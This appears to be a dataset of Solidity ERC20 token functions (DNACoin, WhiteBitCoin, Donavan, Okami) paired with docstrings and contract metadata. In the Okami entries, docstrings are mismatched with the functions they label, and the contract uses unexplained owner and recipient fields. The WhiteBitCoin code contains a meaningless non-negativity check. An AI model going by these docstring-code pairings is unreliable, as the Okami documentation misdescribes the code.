356,
629
]
} | 541 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
| /**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
744,
860
]
} | 542 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbe... | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/ | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
| /**
* @dev Adds two numbers, throws on overflow.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
924,
1060
]
} | 543 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() public view returns (uint256) {
return totalSupply_;
}
| /**
* @dev total number of tokens in existence
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
199,
287
]
} | 544 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
T... | /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
445,
836
]
} | 545 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1042,
1154
]
} | 546 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transf... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_... | /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
401,
853
]
} | 547 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transf... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* ... | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1485,
1675
]
} | 548 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transf... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1999,
2130
]
} | 549 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transf... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | increaseApproval | function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spend... | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
2596,
2860
]
} | 550 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transf... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | decreaseApproval | function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg... | /**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spend... | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
3331,
3741
]
} | 551 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | Ownable | function Ownable() public {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
261,
321
]
} | 552 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}... | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
640,
816
]
} | 553 | |
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | DNACoin | contract DNACoin is StandardToken, Ownable {
string public constant name = "DNA Coin";
string public constant symbol = "DNA";
uint256 public constant decimals = 18;
uint256 public constant UNIT = 10 ** decimals;
address public companyWallet;
address public backendWallet;
uint256 public maxSup... | setBackendWallet | function setBackendWallet(address _backendWallet) public onlyOwner {
if (backendWallet != address(0)) {
backendWallet = _backendWallet;
}
}
| /**
* Change the backendWallet that is allowed to issue new tokens (used by server side)
* Or completely disabled backend unrevokable for all eternity by setting it to 0x0. Should be done after token sale completed.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1332,
1494
]
} | 554 | |||
DNACoin | DNACoin.sol | 0x268f39ebb4868a09fa654d4ffe1ab024bc937db2 | Solidity | DNACoin | contract DNACoin is StandardToken, Ownable {
string public constant name = "DNA Coin";
string public constant symbol = "DNA";
uint256 public constant decimals = 18;
uint256 public constant UNIT = 10 ** decimals;
address public companyWallet;
address public backendWallet;
uint256 public maxSup... | mint | function mint(address receiver, uint256 tokens) public onlyBackend {
require(totalSupply_ + tokens <= maxSupply);
balances[receiver] += tokens;
totalSupply_ += tokens;
Transfer(address(0x0), receiver, tokens);
}
| /***
* This function is used to transfer tokens that have been bought through other means (credit card, bitcoin, etc), and to burn tokens after the sale.
*/ | NatSpecMultiLine | v0.4.21+commit.dfe3193c | bzzr://01b1f801d00088e8bbce80ab3d3b70b341f5d07048a35eaeddb69e2c73a6b86a | {
"func_code_index": [
1718,
1955
]
} | 555 | |||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creat... | transfer | function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtra... | /* Send coins */ | Comment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
1562,
2184
]
} | 556 | |||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creat... | approve | function approve(address _spender, uint256 _value) public returns (bool success) {
require (_value >= 0); //Approval of 0 is revoking approval. So allow 0 here
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| /* Allow another contract to spend some tokens in your behalf */ | Comment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
2257,
2564
]
} | 557 | |||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creat... | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[_from] = balanceOf[_from].sub(_value); ... | /* A contract attempts to get the coins */ | Comment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
2617,
3259
]
} | 558 | |||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creat... | withdrawEther | function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
| // transfer balance to owner | LineComment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
4457,
4588
]
} | 559 | |||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creat... | function() external payable {
}
| // can accept ether | LineComment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
4616,
4657
]
} | 560 | ||||
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
| // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
942,
1061
]
} | 561 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
1283,
1408
]
} | 562 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
1754,
2026
]
} | 563 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval do... | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
2537,
2750
]
} | 564 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
... | // ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer... | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
3288,
3636
]
} | 565 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | allowance | function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| // ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
3919,
4071
]
} | 566 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | approveAndCall | function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------... | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
4434,
4772
]
} | 567 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | function () external payable {
revert();
}
| // ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
4964,
5025
]
} | 568 | |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// --------------------------... | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | transferAnyERC20Token | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
| // ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
5258,
5447
]
} | 569 |
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | Ownable | contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipient... | renounceOwnership | function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
991,
1126
]
} | 570 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | cre | function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
| /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* t... | Comment | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1170,
1360
]
} | 571 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | cal | function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
1945,
2083
]
} | 572 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | redc | function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://40ec43f9b4550bf39760d51066edb256f8ef2fdd62db544ab2a774609f81c2cf | {
"func_code_index": [
3010,
3210
]
} | 573 | ||
Okami | Okami.sol | 0x95d3772141d280d6c3bd5840997a883f429253ad | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
